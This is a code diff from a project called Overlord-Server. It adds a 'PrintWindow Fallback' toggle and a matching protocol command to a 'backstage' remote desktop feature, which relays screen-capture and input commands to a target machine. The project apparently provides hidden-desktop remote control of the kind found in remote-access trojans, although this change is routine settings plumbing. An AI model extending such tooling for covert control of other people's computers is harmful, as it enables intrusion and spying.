     if (clipboardSyncCtrl && typeof settings.clipboardSync === "boolean") clipboardSyncCtrl.checked = settings.clipboardSync;
     if (uiaCtrl && typeof settings.uia === "boolean") uiaCtrl.checked = settings.uia;
+    if (printWindowFallbackCtrl && typeof settings.printWindowFallback === "boolean") {
+      printWindowFallbackCtrl.checked = settings.printWindowFallback;
+    }
     prefersH264 = false;
     const cloneToggle = document.getElementById("backstageCloneToggle");
     const cloneLiteToggle = document.getElementById("backstageCloneLiteToggle");
@@ -211,6 +218,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
       keyboard: !!kbdCtrl?.checked,
       clipboardSync: !!clipboardSyncCtrl?.checked,
       uia: !!uiaCtrl?.checked,
+      printWindowFallback: printWindowFallbackCtrl?.checked !== false,
       cloneProfile: document.getElementById("backstageCloneToggle")?.checked !== false,
       cloneLite: document.getElementById("backstageCloneLiteToggle")?.checked === true,
       killIfRunning: document.getElementById("backstageKillIfRunningToggle")?.checked === true,
@@ -1281,6 +1289,12 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
       sharedSettingsSaver.scheduleSave();
     });
   }
+  if (printWindowFallbackCtrl) {
+    printWindowFallbackCtrl.addEventListener("change", function () {
+      sendCmd("backstage_enable_printwindow_fallback", { enabled: printWindowFallbackCtrl.checked });
+      sharedSettingsSaver.scheduleSave();
+    });
+  }
 
   function pushbackstageResolution() {
     if (backstageResolutionSelect) {

Overlord-Server/public/backstage.html

@@ -191,6 +191,9 @@
                   <label class="flex items-center gap-2 text-sm text-slate-200 col-span-2" title="Use UI Automation for WinUI3 app input (modern Windows apps). Disable if input is unreliable in non-WinUI3 apps.">
                     <input type="checkbox" id="uiaCtrl" /> UIA Support
                   </label>
+                  <label class="flex items-center gap-2 text-sm text-slate-200 col-span-2" title="Allow the compatibility compositor to call PrintWindow on target applications when DWM staging and DXGI cannot provide a frame. DWM staging itself remains enabled.">
+                    <input type="checkbox" id="printWindowFallbackCtrl" checked /> PrintWindow Fallback
+                  </label>
                 </div>
               </div>
 

Overlord-Server/src/generated/wire-contract.ts

@@ -140,6 +140,7 @@ export const COMMAND_TYPES = [
   "backstage_enable_dxgi",
   "backstage_enable_keyboard",
   "backstage_enable_mouse",
+  "backstage_enable_printwindow_fallback",
   "backstage_enable_uia",
   "backstage_installed_apps",
   "backstage_key_down",
@@ -305,6 +306,10 @@ export const COMMAND_VERSION_SUPPORT = {
     "min": 1,
     "max": 1
   },
+  "backstage_enable_printwindow_fallback": {
+    "min": 1,
+    "max": 1
+  },
   "backstage_enable_uia": {
     "min": 1,
     "max": 1

Overlord-Server/src/protocol-contract.test.ts

@@ -17,7 +17,7 @@ import {
 describe("generated wire protocol contract", () => {
   test("publishes the complete command catalog", () => {
     expect(WIRE_PROTOCOL_VERSION).toBe(1);
-    expect(COMMAND_TYPES.length).toBe(141);
+    expect(COMMAND_TYPES.length).toBe(142);
     expect(new Set(COMMAND_TYPES).size).toBe(COMMAND_TYPES.length);
     expect(isCommandType("desktop_start")).toBe(true);
     expect(isCommandType("virtual_window_list")).toBe(true);

Overlord-Server/src/server/routes/misc-routes.ts

@@ -347,6 +347,7 @@ function sanitizeSharedUiSettings(scope: string, raw: unknown): Record<string, u
     assignIfDefined(out, "resolution", pickString(input.resolution, ["720", "1080", "1440", "-1"]));
     assignIfDefined(out, "dxgi", pickBoolean(input.dxgi));
     assignIfDefined(out, "uia", pickBoolean(input.uia));
+    assignIfDefined(out, "printWindowFallback", pickBoolean(input.printWindowFallback));
     assignIfDefined(out, "cloneProfile", pickBoolean(input.cloneProfile));
     assignIfDefined(out, "cloneLite", pickBoolean(input.cloneLite));
     assignIfDefined(out, "killIfRunning", pickBoolean(input.killIfRunning));

Overlord-Server/src/server/ws-console-rd-backstage.ts

@@ -1363,6 +1363,9 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
     case "backstage_enable_dxgi":
       if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_dxgi", { enabled: !!payload.enabled });
       break;
+    case "backstage_enable_printwindow_fallback":
+      if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_printwindow_fallback", { enabled: !!payload.enabled });
+      break;
     case "backstage_enable_uia":
       if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_uia", { enabled: !!payload.enabled });
       break;

protocol/wire-contract.json

@@ -78,6 +78,7 @@
     "backstage_enable_dxgi",
     "backstage_enable_keyboard",
     "backstage_enable_mouse",
+    "backstage_enable_printwindow_fallback",
     "backstage_enable_uia",
     "backstage_installed_apps",
     "backstage_key_down",